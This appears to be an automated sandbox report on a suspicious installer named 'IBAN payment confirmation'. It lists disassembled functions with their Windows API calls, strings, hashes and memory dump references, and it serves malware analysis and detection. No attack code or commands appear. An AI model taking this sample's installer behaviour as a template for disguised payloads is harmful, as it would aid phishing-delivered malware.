Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: x>A
API String ID: 2146148272-3854404225
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 0040617E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 00406208

Strings

*?|<>/":, xrefs: 004061D0

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(00409D80,?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,00409D80,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8
API String ID: 1453599865-4194326291
Opcode ID: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00401752 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,00409580,00435000,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,00409580,00409580,00000000,00000000,00409580,00435000,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNEL32(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00402331 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(0040A580,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.ADVAPI32(?,?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,00436800,?,771B2EE0,00405792,?,00436800,771B2EE0,00434000), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNEL32(?,00435000,?,00000000,000000F0), ref: 00401630

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405B85 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403358,00436000,00436800), ref: 00405BBE

Strings

nsa, xrefs: 00405B92

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
